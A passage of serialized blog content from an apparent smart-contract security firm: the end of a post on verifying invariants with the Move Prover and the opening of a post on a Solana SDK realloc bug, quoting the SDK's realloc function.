old",{"type":21,"tag":198,"props":13828,"children":13829},{"style":211},[13830],{"type":27,"value":706},{"type":21,"tag":198,"props":13832,"children":13833},{"style":226},[13834],{"type":27,"value":13835},"global",{"type":21,"tag":198,"props":13837,"children":13838},{"style":211},[13839],{"type":27,"value":3159},{"type":21,"tag":198,"props":13841,"children":13842},{"style":1966},[13843],{"type":27,"value":13683},{"type":21,"tag":198,"props":13845,"children":13846},{"style":211},[13847],{"type":27,"value":3159},{"type":21,"tag":198,"props":13849,"children":13850},{"style":1966},[13851],{"type":27,"value":13692},{"type":21,"tag":198,"props":13853,"children":13854},{"style":211},[13855],{"type":27,"value":7538},{"type":21,"tag":198,"props":13857,"children":13858},{"style":226},[13859],{"type":27,"value":13701},{"type":21,"tag":198,"props":13861,"children":13862},{"style":211},[13863],{"type":27,"value":2109},{"type":21,"tag":198,"props":13865,"children":13866},{"style":683},[13867],{"type":27,"value":658},{"type":21,"tag":198,"props":13869,"children":13870},{"style":211},[13871],{"type":27,"value":13872},"offered);\n",{"type":21,"tag":198,"props":13874,"children":13875},{"class":200,"line":365},[13876],{"type":21,"tag":198,"props":13877,"children":13878},{"style":211},[13879],{"type":27,"value":880},{"type":21,"tag":30,"props":13881,"children":13882},{},[13883],{"type":27,"value":13884},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":21,"tag":59,"props":13886,"children":13888},{"id":13887},"complex-mathematical-formulae",[13889],{"type":27,"value":13890},"Complex Mathematical Formulae",{"type":21,"tag":30,"props":13892,"children":13893},{},[13894,13896,13901],{"type":27,"value":13895},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":21,"tag":1671,"props":13897,"children":13898},{},[13899],{"type":27,"value":13900},"always",{"type":27,"value":13902}," the output.",{"type":21,"tag":30,"props":13904,"children":13905},{},[13906],{"type":27,"value":13907},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":21,"tag":30,"props":13909,"children":13910},{},[13911,13913,13920],{"type":27,"value":13912},"For example, in our work with ",{"type":21,"tag":34,"props":13914,"children":13917},{"href":13915,"rel":13916},"https://laminar.markets/",[38],[13918],{"type":27,"value":13919},"Laminar Markets",{"type":27,"value":13921},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":21,"tag":59,"props":13923,"children":13925},{"id":13924},"data-invariants",[13926],{"type":27,"value":13927},"Data Invariants",{"type":21,"tag":30,"props":13929,"children":13930},{},[13931,13933,13939,13941,13947,13949,13955,13957,13963],{"type":27,"value":13932},"Formal verification provides the best environment to verify that certain ",{"type":21,"tag":194,"props":13934,"children":13936},{"className":13935},[],[13937],{"type":27,"value":13938},"variables",{"type":27,"value":13940}," or ",{"type":21,"tag":194,"props":13942,"children":13944},{"className":13943},[],[13945],{"type":27,"value":13946},"resources",{"type":27,"value":13948}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":21,"tag":194,"props":13950,"children":13952},{"className":13951},[],[13953],{"type":27,"value":13954},"index",{"type":27,"value":13956}," is never greater than 4 using a ",{"type":21,"tag":194,"props":13958,"children":13960},{"className":13959},[],[13961],{"type":27,"value":13962},"struct invariant",{"type":27,"value":658},{"type":21,"tag":187,"props":13965,"children":13967},{"code":13966,"language":3788,"meta":7,"className":3789,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[13968],{"type":21,"tag":194,"props":13969,"children":13970},{"__ignoreMap":7},[13971,13987,14004,14011,14018,14033,14057],{"type":21,"tag":198,"props":13972,"children":13973},{"class":200,"line":201},[13974,13978,13983],{"type":21,"tag":198,"props":13975,"children":13976},{"style":249},[13977],{"type":27,"value":10213},{"type":21,"tag":198,"props":13979,"children":13980},{"style":1966},[13981],{"type":27,"value":13982}," Type",{"type":21,"tag":198,"props":13984,"children":13985},{"style":211},[13986],{"type":27,"value":233},{"type":21,"tag":198,"props":13988,"children":13989},{"class":200,"line":217},[13990,13995,13999],{"type":21,"tag":198,"props":13991,"children":13992},{"style":226},[13993],{"type":27,"value":13994}," index",{"type":21,"tag":198,"props":13996,"children":13997},{"style":683},[13998],{"type":27,"value":185},{"type":21,"tag":198,"props":14000,"children":14001},{"style":1966},[14002],{"type":27,"value":14003}," u64\n",{"type":21,"tag":198,"props":14005,"children":14006},{"class":200,"line":236},[14007],{"type":21,"tag":198,"props":14008,"children":14009},{"style":211},[14010],{"type":27,"value":1120},{"type":21,"tag":198,"props":14012,"children":14013},{"class":200,"line":260},[14014],{"type":21,"tag":198,"props":14015,"children":14016},{"emptyLinePlaceholder":16},[14017],{"type":27,"value":1283},{"type":21,"tag":198,"props":14019,"children":14020},{"class":200,"line":281},[14021,14025,14029],{"type":21,"tag":198,"props":14022,"children":14023},{"style":226},[14024],{"type":27,"value":9085},{"type":21,"tag":198,"props":14026,"children":14027},{"style":1966},[14028],{"type":27,"value":13982},{"type":21,"tag":198,"props":14030,"children":14031},{"style":211},[14032],{"type":27,"value":233},{"type":21,"tag":198,"props":14034,"children":14035},{"class":200,"line":302},[14036,14040,14045,14049,14053],{"type":21,"tag":198,"props":14037,"children":14038},{"style":226},[14039],{"type":27,"value":9102},{"type":21,"tag":198,"props":14041,"children":14042},{"style":226},[14043],{"type":27,"value":14044}," index",{"type":21,"tag":198,"props":14046,"children":14047},{"style":683},[14048],{"type":27,"value":9529},{"type":21,"tag":198,"props":14050,"children":14051},{"style":2540},[14052],{"type":27,"value":12555},{"type":21,"tag":198,"props":14054,"children":14055},{"style":211},[14056],{"type":27,"value":1483},{"type":21,"tag":198,"props":14058,"children":14059},{"class":200,"line":323},[14060],{"type":21,"tag":198,"props":14061,"children":14062},{"style":211},[14063],{"type":27,"value":1120},{"type":21,"tag":30,"props":14065,"children":14066},{},[14067,14069,14076,14077,14083],{"type":27,"value":14068},"We were able to verify more complex properties in our recent audits for ",{"type":21,"tag":34,"props":14070,"children":14073},{"href":14071,"rel":14072},"https://layerzero.network/",[38],[14074],{"type":27,"value":14075},"LayerZero",{"type":27,"value":11801},{"type":21,"tag":34,"props":14078,"children":14081},{"href":14079,"rel":14080},"http://ariesmarkets.xyz/",[38],[14082],{"type":27,"value":7602},{"type":27,"value":14084},", but the details are left as an exercise to the reader.",{"type":21,"tag":59,"props":14086,"children":14088},{"id":14087},"economic-invariants",[14089],{"type":27,"value":14090},"Economic Invariants.",{"type":21,"tag":30,"props":14092,"children":14093},{},[14094],{"type":27,"value":14095},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":21,"tag":30,"props":14097,"children":14098},{},[14099],{"type":27,"value":14100},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":21,"tag":187,"props":14102,"children":14103},{"code":8778,"language":3788,"meta":7,"className":3789,"style":7},[14104],{"type":21,"tag":194,"props":14105,"children":14106},{"__ignoreMap":7},[14107,14114,14197,14236,14255,14262,14277,14300,14323,14346],{"type":21,"tag":198,"props":14108,"children":14109},{"class":200,"line":201},[14110],{"type":21,"tag":198,"props":14111,"children":14112},{"style":1233},[14113],{"type":27,"value":8790},{"type":21,"tag":198,"props":14115,"children":14116},{"class":200,"line":217},[14117,14121,14125,14129,14133,14137,14141,14145,14149,14153,14157,14161,14165,14169,14173,14177,14181,14185,14189,14193],{"type":21,"tag":198,"props":14118,"children":14119},{"style":226},[14120],{"type":27,"value":7381},{"type":21,"tag":198,"props":14122,"children":14123},{"style":698},[14124],{"type":27,"value":8802},{"type":21,"tag":198,"props":14126,"children":14127},{"style":211},[14128],{"type":27,"value":706},{"type":21,"tag":198,"props":14130,"children":14131},{"style":226},[14132],{"type":27,"value":8811},{"type":21,"tag":198,"props":14134,"children":14135},{"style":683},[14136],{"type":27,"value":185},{"type":21,"tag":198,"props":14138,"children":14139},{"style":1966},[14140],{"type":27,"value":6673},{"type":21,"tag":198,"props":14142,"children":14143},{"style":211},[14144],{"type":27,"value":828},{"type":21,"tag":198,"props":14146,"children":14147},{"style":226},[14148],{"type":27,"value":8828},{"type":21,"tag":198,"props":14150,"children":14151},{"style":683},[14152],{"type":27,"value":185},{"type":21,"tag":198,"props":14154,"children":14155},{"style":1966},[14156],{"type":27,"value":6673},{"type":21,"tag":198,"props":14158,"children":14159},{"style":211},[14160],{"type":27,"value":2109},{"type":21,"tag":198,"props":14162,"children":14163},{"style":683},[14164],{"type":27,"value":185},{"type":21,"tag":198,"props":14166,"children":14167},{"style":211},[14168],{"type":27,"value":648},{"type":21,"tag":198,"props":14170,"children":14171},{"style":1966},[14172],{"type":27,"value":8853},{"type":21,"tag":198,"props":14174,"children":14175},{"style":211},[14176],{"type":27,"value":828},{"type":21,"tag":198,"props":14178,"children":14179},{"style":1966},[14180],{"type":27,"value":8853},{"type":21,"tag":198,"props":14182,"children":14183},{"style":211},[14184],{"type":27,"value":1541},{"type":21,"tag":198,"props":14186,"children":14187},{"style":226},[14188],{"type":27,"value":7156},{"type":21,"tag":198,"props":14190,"children":14191},{"style":1966},[14192],{"type":27,"value":8874},{"type":21,"tag":198,"props":14194,"children":14195},{"style":211},[14196],{"type":27,"value":233},{"type":21,"tag":198,"props":14198,"children":14199},{"class":200,"line":236},[14200,14204,14208,14212,14216,14220,14224,14228,14232],{"type":21,"tag":198,"props":14201,"children":14202},{"style":249},[14203],{"type":27,"value":8886},{"type":21,"tag":198,"props":14205,"children":14206},{"style":226},[14207],{"type":27,"value":8891},{"type":21,"tag":198,"props":14209,"children":14210},{"style":683},[14211],{"type":27,"value":979},{"type":21,"tag":198,"props":14213,"children":14214},{"style":698},[14215],{"type":27,"value":8900},{"type":21,"tag":198,"props":14217,"children":14218},{"style":211},[14219],{"type":27,"value":706},{"type":21,"tag":198,"props":14221,"children":14222},{"style":226},[14223],{"type":27,"value":8811},{"type":21,"tag":198,"props":14225,"children":14226},{"style":211},[14227],{"type":27,"value":828},{"type":21,"tag":198,"props":14229,"children":14230},{"style":226},[14231],{"type":27,"value":8828},{"type":21,"tag":198,"props":14233,"children":14234},{"style":211},[14235],{"type":27,"value":1470},{"type":21,"tag":198,"props":14237,"children":14238},{"class":200,"line":260},[14239,14243,14247,14251],{"type":21,"tag":198,"props":14240,"children":14241},{"style":698},[14242],{"type":27,"value":8928},{"type":21,"tag":198,"props":14244,"children":14245},{"style":211},[14246],{"type":27,"value":706},{"type":21,"tag":198,"props":14248,"children":14249},{"style":226},[14250],{"type":27,"value":8937},{"type":21,"tag":198,"props":14252,"children":14253},{"style":211},[14254],{"type":27,"value":789},{"type":21,"tag":198,"props":14256,"children":14257},{"class":200,"line":281},[14258],{"type":21,"tag":198,"props":14259,"children":14260},{"style":211},[14261],{"type":27,"value":2249},{"type":21,"tag":198,"props":14263,"children":14264},{"class":200,"line":302},[14265,14269,14273],{"type":21,"tag":198,"props":14266,"children":14267},{"style":226},[14268],{"type":27,"value":8956},{"type":21,"tag":198,"props":14270,"children":14271},{"style":226},[14272],{"type":27,"value":8802},{"type":21,"tag":198,"props":14274,"children":14275},{"style":211},[14276],{"type":27,"value":233},{"type":21,"tag":198,"props":14278,"children":14279},{"class":200,"line":323},[14280,14284,14288,14292,14296],{"type":21,"tag":198,"props":14281,"children":14282},{"style":226},[14283],{"type":27,"value":8972},{"type":21,"tag":198,"props":14285,"children":14286},{"style":226},[14287],{"type":27,"value":8977},{"type":21,"tag":198,"props":14289,"children":14290},{"style":683},[14291],{"type":27,"value":3174},{"type":21,"tag":198,"props":14293,"children":14294},{"style":249},[14295],{"type":27,"value":3264},{"type":21,"tag":198,"props":14297,"children":14298},{"style":211},[14299],{"type":27,"value":1483},{"type":21,"tag":198,"props":14301,"children":14302},{"class":200,"line":344},[14303,14307,14311,14315,14319],{"type":21,"tag":198,"props":14304,"children":14305},{"style":226},[14306],{"type":27,"value":8997},{"type":21,"tag":198,"props":14308,"children":14309},{"style":226},[14310],{"type":27,"value":9002},{"type":21,"tag":198,"props":14312,"children":14313},{"style":683},[14314],{"type":27,"value":9007},{"type":21,"tag":198,"props":14316,"children":14317},{"style":226},[14318],{"type":27,"value":9012},{"type":21,"tag":198,"props":14320,"children":14321},{"style":211},[14322],{"type":27,"value":1483},{"type":21,"tag":198,"props":14324,"children":14325},{"class":200,"line":365},[14326,14330,14334,14338,14342],{"type":21,"tag":198,"props":14327,"children":14328},{"style":226},[14329],{"type":27,"value":8997},{"type":21,"tag":198,"props":14331,"children":14332},{"style":226},[14333],{"type":27,"value":9028},{"type":21,"tag":198,"props":14335,"children":14336},{"style":683},[14337],{"type":27,"value":9007},{"type":21,"tag":198,"props":14339,"children":14340},{"style":226},[14341],{"type":27,"value":9037},{"type":21,"tag":198,"props":14343,"children":14344},{"style":211},[14345],{"type":27,"value":1483},{"type":21,"tag":198,"props":14347,"children":14348},{"class":200,"line":386},[14349],{"type":21,"tag":198,"props":14350,"children":14351},{"style":211},[14352],{"type":27,"value":2249},{"type":21,"tag":30,"props":14354,"children":14355},{},[14356],{"type":27,"value":14357},"Some other ideas include",{"type":21,"tag":71,"props":14359,"children":14360},{},[14361,14366,14371],{"type":21,"tag":75,"props":14362,"children":14363},{},[14364],{"type":27,"value":14365},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":21,"tag":75,"props":14367,"children":14368},{},[14369],{"type":27,"value":14370},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":21,"tag":75,"props":14372,"children":14373},{},[14374],{"type":27,"value":14375},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":21,"tag":22,"props":14377,"children":14378},{"id":6122},[14379],{"type":27,"value":6125},{"type":21,"tag":30,"props":14381,"children":14382},{},[14383],{"type":27,"value":14384},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":21,"tag":30,"props":14386,"children":14387},{},[14388],{"type":27,"value":14389},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":21,"tag":30,"props":14391,"children":14392},{},[14393,14395,14400],{"type":27,"value":14394},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":34,"props":14396,"children":14398},{"href":10053,"rel":14397},[38],[14399],{"type":27,"value":10057},{"type":27,"value":658},{"type":21,"tag":3645,"props":14402,"children":14403},{},[14404],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":14406},[14407,14408,14411,14418],{"id":10117,"depth":217,"text":10120},{"id":10171,"depth":217,"text":10174,"children":14409},[14410],{"id":10420,"depth":236,"text":10416},{"id":13317,"depth":217,"text":13320,"children":14412},[14413,14414,14415,14416,14417],{"id":13333,"depth":236,"text":13336},{"id":13582,"depth":236,"text":13585},{"id":13887,"depth":236,"text":13890},{"id":13924,"depth":236,"text":13927},{"id":14087,"depth":236,"text":14090},{"id":6122,"depth":217,"text":6125},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":14423,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14424,"description":14425,"author":14426,"image":14427,"date":14431,"isFeatured":16,"onBlogPage":16,"tags":14432,"body":14433,"_type":3671,"_id":19539,"_source":3673,"_file":19540,"_stem":19541,"_extension":3676},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":14428,"height":14429,"width":14430},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[3689,10081],{"type":18,"children":14434,"toc":19523},[14435,14463,14483,15151,15171,15182,15194,15327,15337,15343,15369,15709,15754,16081,16144,16157,16230,16296,16317,16330,16344,16693,16704,16709,16840,16891,16917,16929,17102,17238,17279,17316,17381,17386,17423,17477,17488,17631,17643,17649,17655,17688,17702,17823,17842,17870,17876,17966,18057,18063,18068,18115,18384,18459,18470,18497,18829,18841,18914,19187,19224,19519],{"type":21,"tag":30,"props":14436,"children":14437},{},[14438,14440,14446,14448,14453,14455,14461],{"type":27,"value":14439},"It all started with an audit of a program that used ",{"type":21,"tag":194,"props":14441,"children":14443},{"className":14442},[],[14444],{"type":27,"value":14445},"realloc",{"type":27,"value":14447}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":21,"tag":194,"props":14449,"children":14451},{"className":14450},[],[14452],{"type":27,"value":14445},{"type":27,"value":14454}," call (from ",{"type":21,"tag":194,"props":14456,"children":14458},{"className":14457},[],[14459],{"type":27,"value":14460},"solana_program",{"type":27,"value":14462},") would error out appropriately.",{"type":21,"tag":30,"props":14464,"children":14465},{},[14466,14468,14474,14475,14482],{"type":27,"value":14467},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":21,"tag":194,"props":14469,"children":14471},{"className":14470},[],[14472],{"type":27,"value":14473},"AccountInfo::realloc",{"type":27,"value":6314},{"type":21,"tag":34,"props":14476,"children":14479},{"href":14477,"rel":14478},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[38],[14480],{"type":27,"value":14481},"implemented",{"type":27,"value":185},{"type":21,"tag":187,"props":14484,"children":14486},{"className":3789,"code":14485,"language":3788,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[14487],{"type":21,"tag":194,"props":14488,"children":14489},{"__ignoreMap":7},[14490,14584,14618,14625,14633,14645,14653,14745,14778,14785,14793,14923,14954,14961,14968,14976,15009,15021,15069,15081,15110,15117,15124,15131,15144],{"type":21,"tag":198,"props":14491,"children":14492},{"class":200,"line":201},[14493,14498,14503,14508,14512,14516,14521,14525,14530,14534,14539,14543,14548,14552,14556,14560,14565,14570,14575,14580],{"type":21,"tag":198,"props":14494,"children":14495},{"style":249},[14496],{"type":27,"value":14497},"pub",{"type":21,"tag":198,"props":14499,"children":14500},{"style":249},[14501],{"type":27,"value":14502}," fn",{"type":21,"tag":198,"props":14504,"children":14505},{"style":698},[14506],{"type":27,"value":14507}," realloc",{"type":21,"tag":198,"props":14509,"children":14510},{"style":211},[14511],{"type":27,"value":706},{"type":21,"tag":198,"props":14513,"children":14514},{"style":683},[14515],{"type":27,"value":3917},{"type":21,"tag":198,"props":14517,"children":14518},{"style":249},[14519],{"type":27,"value":14520},"self",{"type":21,"tag":198,"props":14522,"children":14523},{"style":211},[14524],{"type":27,"value":828},{"type":21,"tag":198,"props":14526,"children":14527},{"style":226},[14528],{"type":27,"value":14529},"new_len",{"type":21,"tag":198,"props":14531,"children":14532},{"style":683},[14533],{"type":27,"value":185},{"type":21,"tag":198,"props":14535,"children":14536},{"style":1966},[14537],{"type":27,"value":14538}," usize",{"type":21,"tag":198,"props":14540,"children":14541},{"style":211},[14542],{"type":27,"value":828},{"type":21,"tag":198,"props":14544,"children":14545},{"style":226},[14546],{"type":27,"value":14547},"zero_init",{"type":21,"tag":198,"props":14549,"children":14550},{"style":683},[14551],{"type":27,"value":185},{"type":21,"tag":198,"props":14553,"children":14554},{"style":1966},[14555],{"type":27,"value":12860},{"type":21,"tag":198,"props":14557,"children":14558},{"style":211},[14559],{"type":27,"value":1541},{"type":21,"tag":198,"props":14561,"children":14562},{"style":683},[14563],{"type":27,"value":14564},"->",{"type":21,"tag":198,"props":14566,"children":14567},{"style":1966},[14568],{"type":27,"value":14569}," Result",{"type":21,"tag":198,"props":14571,"children":14572},{"style":211},[14573],{"type":27,"value":14574},"\u003C(), ",{"type":21,"tag":198,"props":14576,"children":14577},{"style":1966},[14578],{"type":27,"value":14579},"ProgramError",{"type":21,"tag":198,"props":14581,"children":14582},{"style":211},[14583],{"type":27,"value":8093},{"type":21,"tag":198,"props":14585,"children":14586},{"class":200,"line":217},[14587,14591,14596,14600,14605,14609,14614],{"type":21,"tag":198,"props":14588,"children":14589},{"style":249},[14590],{"type":27,"value":3809},{"type":21,"tag":198,"props":14592,"children":14593},{"style":226},[14594],{"type":27,"value":14595}," orig_len",{"type":21,"tag":198,"props":14597,"children":14598},{"style":683},[14599],{"type":27,"value":979},{"type":21,"tag":198,"props":14601,"children":14602},{"style":249},[14603],{"type":27,"value":14604}," self",{"type":21,"tag":198,"props":14606,"children":14607},{"style":683},[14608],{"type":27,"value":658},{"type":21,"tag":198,"props":14610,"children":14611},{"style":698},[14612],{"type":27,"value":14613},"data_len",{"type":21,"tag":198,"props":14615,"children":14616},{"style":211},[14617],{"type":27,"value":3404},{"type":21,"tag":198,"props":14619,"children":14620},{"class":200,"line":236},[14621],{"type":21,"tag":198,"props":14622,"children":14623},{"emptyLinePlaceholder":16},[14624],{"type":27,"value":1283},{"type":21,"tag":198,"props":14626,"children":14627},{"class":200,"line":260},[14628],{"type":21,"tag":198,"props":14629,"children":14630},{"style":1233},[14631],{"type":27,"value":14632}," // realloc\n",{"type":21,"tag":198,"props":14634,"children":14635},{"class":200,"line":281},[14636,14641],{"type":21,"tag":198,"props":14637,"children":14638},{"style":249},[14639],{"type":27,"value":14640}," unsafe",{"type":21,"tag":198,"props":14642,"children":14643},{"style":211},[14644],{"type":27,"value":233},{"type":21,"tag":198,"props":14646,"children":14647},{"class":200,"line":302},[14648],{"type":21,"tag":198,"props":14649,"children":14650},{"style":1233},[14651],{"type":27,"value":14652}," // First set new length in the serialized data\n",{"type":21,"tag":198,"props":14654,"children":14655},{"class":200,"line":323},[14656,14660,14665,14669,14673,14677,14682,14687,14691,14696,14700,14704,14709,14713,14717,14721,14725,14729,14733,14737,14741],{"type":21,"tag":198,"props":14657,"children":14658},{"style":249},[14659],{"type":27,"value":3873},{"type":21,"tag":198,"props":14661,"children":14662},{"style":226},[14663],{"type":27,"value":14664}," ptr",{"type":21,"tag":198,"props":14666,"children":14667},{"style":683},[14668],{"type":27,"value":979},{"type":21,"tag":198,"props":14670,"children":14671},{"style":249},[14672],{"type":27,"value":14604},{"type":21,"tag":198,"props":14674,"children":14675},{"style":683},[14676],{"type":27,"value":658},{"type":21,"tag":198,"props":14678,"children":14679},{"style":698},[14680],{"type":27,"value":14681},"try_borrow_mut_data",{"type":21,"tag":198,"props":14683,"children":14684},{"style":211},[14685],{"type":27,"value":14686},"()",{"type":21,"tag":198,"props":14688,"children":14689},{"style":683},[14690],{"type":27,"value":3940},{"type":21,"tag":198,"props":14692,"children":14693},{"style":698},[14694],{"type":27,"value":14695},"as_mut_ptr",{"type":21,"tag":198,"props":14697,"children":14698},{"style":211},[14699],{"type":27,"value":14686},{"type":21,"tag":198,"props":14701,"children":14702},{"style":683},[14703],{"type":27,"value":658},{"type":21,"tag":198,"props":14705,"children":14706},{"style":698},[14707],{"type":27,"value":14708},"offset",{"type":21,"tag":198,"props":14710,"children":14711},{"style":211},[14712],{"type":27,"value":706},{"type":21,"tag":198,"props":14714,"children":14715},{"style":683},[14716],{"type":27,"value":5139},{"type":21,"tag":198,"props":14718,"children":14719},{"style":2540},[14720],{"type":27,"value":4887},{"type":21,"tag":198,"props":14722,"children":14723},{"style":211},[14724],{"type":27,"value":1541},{"type":21,"tag":198,"props":14726,"children":14727},{"style":249},[14728],{"type":27,"value":9652},{"type":21,"tag":198,"props":14730,"children":14731},{"style":683},[14732],{"type":27,"value":10626},{"type":21,"tag":198,"props":14734,"children":14735},{"style":249},[14736],{"type":27,"value":4530},{"type":21,"tag":198,"props":14738,"children":14739},{"style":1966},[14740],{"type":27,"value":6673},{"type":21,"tag":198,"props":14742,"children":14743},{"style":211},[14744],{"type":27,"value":1483},{"type":21,"tag":198,"props":14746,"children":14747},{"class":200,"line":344},[14748,14752,14757,14761,14766,14770,14774],{"type":21,"tag":198,"props":14749,"children":14750},{"style":683},[14751],{"type":27,"value":8563},{"type":21,"tag":198,"props":14753,"children":14754},{"style":226},[14755],{"type":27,"value":14756},"ptr",{"type":21,"tag":198,"props":14758,"children":14759},{"style":683},[14760],{"type":27,"value":979},{"type":21,"tag":198,"props":14762,"children":14763},{"style":226},[14764],{"type":27,"value":14765}," new_len",{"type":21,"tag":198,"props":14767,"children":14768},{"style":249},[14769],{"type":27,"value":9638},{"type":21,"tag":198,"props":14771,"children":14772},{"style":1966},[14773],{"type":27,"value":6673},{"type":21,"tag":198,"props":14775,"children":14776},{"style":211},[14777],{"type":27,"value":1483},{"type":21,"tag":198,"props":14779,"children":14780},{"class":200,"line":365},[14781],{"type":21,"tag":198,"props":14782,"children":14783},{"emptyLinePlaceholder":16},[14784],{"type":27,"value":1283},{"type":21,"tag":198,"props":14786,"children":14787},{"class":200,"line":386},[14788],{"type":21,"tag":198,"props":14789,"children":14790},{"style":1233},[14791],{"type":27,"value":14792}," // Then set the new length in the local slice\n",{"type":21,"tag":198,"props":14794,"children":14795},{"class":200,"line":408},[14796,14800,14804,14808,14812,14816,14820,14825,14829,14833,14837,14841,14846,14851,14855,14859,14863,14867,14871,14875,14879,14883,14887,14891,14895,14899,14903,14907,14911,14915,14919],{"type":21,"tag":198,"props":14797,"children":14798},{"style":249},[14799],{"type":27,"value":3873},{"type":21,"tag":198,"props":14801,"children":14802},{"style":226},[14803],{"type":27,"value":14664},{"type":21,"tag":198,"props":14805,"children":14806},{"style":683},[14807],{"type":27,"value":979},{"type":21,"tag":198,"props":14809,"children":14810},{"style":683},[14811],{"type":27,"value":7953},{"type":21,"tag":198,"props":14813,"children":14814},{"style":249},[14815],{"type":27,"value":4530},{"type":21,"tag":198,"props":14817,"children":14818},{"style":683},[14819],{"type":27,"value":10626},{"type":21,"tag":198,"props":14821,"children":14822},{"style":211},[14823],{"type":27,"value":14824},"(((",{"type":21,"tag":198,"props":14826,"children":14827},{"style":249},[14828],{"type":27,"value":14520},{"type":21,"tag":198,"props":14830,"children":14831},{"style":683},[14832],{"type":27,"value":658},{"type":21,"tag":198,"props":14834,"children":14835},{"style":211},[14836],{"type":27,"value":4508},{"type":21,"tag":198,"props":14838,"children":14839},{"style":683},[14840],{"type":27,"value":658},{"type":21,"tag":198,"props":14842,"children":14843},{"style":698},[14844],{"type":27,"value":14845},"as_ptr",{"type":21,"tag":198,"props":14847,"children":14848},{"style":211},[14849],{"type":27,"value":14850},"() ",{"type":21,"tag":198,"props":14852,"children":14853},{"style":249},[14854],{"type":27,"value":9652},{"type":21,"tag":198,"props":14856,"children":14857},{"style":683},[14858],{"type":27,"value":10626},{"type":21,"tag":198,"props":14860,"children":14861},{"style":249},[14862],{"type":27,"value":2648},{"type":21,"tag":198,"props":14864,"children":14865},{"style":1966},[14866],{"type":27,"value":6673},{"type":21,"tag":198,"props":14868,"children":14869},{"style":211},[14870],{"type":27,"value":2109},{"type":21,"tag":198,"props":14872,"children":14873},{"style":683},[14874],{"type":27,"value":658},{"type":21,"tag":198,"props":14876,"children":14877},{"style":698},[14878],{"type":27,"value":14708},{"type":21,"tag":198,"props":14880,"children":14881},{"style":211},[14882],{"type":27,"value":706},{"type":21,"tag":198,"props":14884,"children":14885},{"style":2540},[14886],{"type":27,"value":134},{"type":21,"tag":198,"props":14888,"children":14889},{"style":211},[14890],{"type":27,"value":1541},{"type":21,"tag":198,"props":14892,"children":14893},{"style":249},[14894],{"type":27,"value":9652},{"type":21,"tag":198,"props":14896,"children":14897},{"style":1966},[14898],{"type":27,"value":6673},{"type":21,"tag":198,"props":14900,"children":14901},{"style":211},[14902],{"type":27,"value":1541},{"type":21,"tag":198,"props":14904,"children":14905},{"style":249},[14906],{"type":27,"value":9652},{"type":21,"tag":198,"props":14908,"children":14909},{"style":683},[14910],{"type":27,"value":10626},{"type":21,"tag":198,"props":14912,"children":14913},{"style":249},[14914],{"type":27,"value":4530},{"type":21,"tag":198,"props":14916,"children":14917},{"style":1966},[14918],{"type":27,"value":6673},{"type":21,"tag":198,"props":14920,"children":14921},{"style":211},[14922],{"type":27,"value":1470},{"type":21,"tag":198,"props":14924,"children":14925},{"class":200,"line":429},[14926,14930,14934,14938,14942,14946,14950],{"type":21,"tag":198,"props":14927,"children":14928},{"style":683},[14929],{"type":27,"value":8563},{"type":21,"tag":198,"props":14931,"children":14932},{"style":226},[14933],{"type":27,"value":14756},{"type":21,"tag":198,"props":14935,"children":14936},{"style":683},[14937],{"type":27,"value":979},{"type":21,"tag":198,"props":14939,"children":14940},{"style":226},[14941],{"type":27,"value":14765},{"type":21,"tag":198,"props":14943,"children":14944},{"style":249},[14945],{"type":27,"value":9638},{"type":21,"tag":198,"props":14947,"children":14948},{"style":1966},[14949],{"type":27,"value":6673},{"type":21,"tag":198,"props":14951,"children":14952},{"style":211},[14953],{"type":27,"value":1483},{"type":21,"tag":198,"props":14955,"children":14956},{"class":200,"line":450},[14957],{"type":21,"tag":198,"props":14958,"children":14959},{"style":211},[14960],{"type":27,"value":880},{"type":21,"tag":198,"props":14962,"children":14963},{"class":200,"line":468},[14964],{"type":21,"tag":198,"props":14965,"children":14966},{"emptyLinePlaceholder":16},[14967],{"type":27,"value":1283},{"type":21,"tag":198,"props":14969,"children":14970},{"class":200,"line":477},[14971],{"type":21,"tag":198,"props":14972,"children":14973},{"style":1233},[14974],{"type":27,"value":14975}," // zero-init if 